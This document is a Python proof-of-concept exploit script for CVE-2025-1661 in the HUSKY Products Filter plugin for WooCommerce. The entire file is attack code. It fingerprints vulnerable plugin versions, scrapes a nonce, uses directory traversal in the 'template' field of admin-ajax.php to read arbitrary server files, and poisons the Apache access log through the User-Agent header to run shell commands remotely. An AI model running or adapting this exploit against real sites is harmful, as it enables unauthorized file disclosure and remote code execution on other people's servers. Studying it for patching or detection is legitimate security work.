# CVE-2025-1661 # HUSKY – Products Filter Professional for WooCommerce - Local File Inclusion Exploit # by Secragon # PoC for educational/research purposes only # Use it at your own risk! import re import sys import urllib3 import requests import argparse from bs4 import BeautifulSoup from colorama import init, Fore, Style from urllib.parse import urljoin, urlparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_version(target): print("Site version: ", end='') try: r = requests.get(f"{target}/wp-content/plugins/woocommerce-products-filter/readme.txt", verify=False) ver = re.search(r"Stable tag: (.*)", r.text).groups()[0] except: print(Fore.RED + f'error...') exit() ver = ver.strip() if int(ver.replace('.','')) < 1366: print(Fore.GREEN + f'{ver} - vulnerable!') else: print(Fore.RED + f'{ver} - not vulnerable!') exit() def find_woof_nonce(site_url, session): visited = set() check_header = { "User-Agent": "Secragon Offensive Agent" } def extract_nonce(url): try: response = session.get(url, timeout=10, headers=check_header) if response.status_code != 200: return None soup = BeautifulSoup(response.text, 'html.parser') input_tag = soup.find("input", {"class": "woof_text_search_nonce"}) if input_tag and input_tag.has_attr("value"): return input_tag["value"] except requests.RequestException: return None nonce = extract_nonce(site_url) if nonce: print(site_url) return nonce try: response = session.get(site_url, timeout=10) if response.status_code != 200: return None soup = BeautifulSoup(response.text, 'html.parser') base_domain = urlparse(site_url).netloc for link in soup.find_all("a", href=True): link_url = urljoin(site_url, link["href"]) parsed_url = urlparse(link_url) if parsed_url.netloc == base_domain and link_url not in visited: visited.add(link_url) nonce = extract_nonce(link_url) if nonce: return nonce except requests.RequestException: return None return None def exploit_rce(session, target, nonce, cmd): url = f"{target}/wp-admin/admin-ajax.php" data = { "woof_text_search_nonce": nonce, "action": "woof_text_search", "value": "product", "template": "../../../../../../../../../../../../var/log/apache2/access.log" } payload = { "User-Agent": "Secragon CMD:" } try: print("Checking for log poisoning: ", end="") response = session.post(f"{url}?cmd=true", data=data, timeout=10) if response.status_code == 200: if "Secragon Offensive Agent" in response.text: print(Fore.GREEN + "ok!") if not "Secragon CMD:" in response.text: print("Exploiting: ", end="") response = session.post(url, data=data, timeout=10, headers=payload) print(Fore.GREEN + "done.") print(f"Executing command: {cmd}") print() response = session.post(f"{url}?cmd={cmd}", data=data, timeout=10) match = re.search(r'Secragon CMD:(.*?)\\n\\\"', response.text, re.DOTALL) print(match.group(1).strip().replace('\\n', '\n')) else: print(Fore.RED + f"nope.") except requests.RequestException as e: print(f"Error sending request: {e}") def exploit_lfi(session, target, nonce, file): url = f"{target}/wp-admin/admin-ajax.php" data = { "woof_text_search_nonce": nonce, "action": "woof_text_search", "value": "product", "template": f"../../../../../../../../../../../..{file}" } payload = { "User-Agent": "Secragon Offensive Agent" } try: print(f"Reading file: {file}") response = session.post(f"{url}?cmd=true", data=data, timeout=10) if response.status_code == 200: match = re.search(r'\"options\":\[\"(.*?)\"],\"pagination\"', response.text, re.DOTALL) print(match.group(1).strip().replace('\\n', '\n').replace('\\/', '/')) except requests.RequestException as e: print(f"Error sending request: {e}") init(autoreset=True) print() print(Fore.BLUE + "\t\t --- HUSKY – Products Filter Professional for WooCommerce exploit ---") print(Fore.BLUE + "\t\t\t\t\t (remote code execution)") print(Fore.RED + "\t\t\t\t\t\t\t by gbrsh@secragon & gnomer0x@secragon") parser = argparse.ArgumentParser() parser.add_argument('url', help='http://wphost') parser.add_argument('-c', '--cmd', required=False, help="command to execute") parser.add_argument('-f', '--file', required=False, help="file to read") if len(sys.argv) == 1: parser.print_help() print() exit() args = parser.parse_args() check_version(args.url) session = requests.Session() for cookie in session.cookies: print(f"{cookie.name} = {cookie.value}") print("Searching for nonce: ", end='') nonce = find_woof_nonce(args.url, session) if nonce: print(Fore.GREEN + f'{nonce}') else: print(Fore.RED + f'none :/') exit() if args.cmd: exploit_rce(session, args.url, nonce, args.cmd) else: exploit_lfi(session, args.url, nonce, args.file)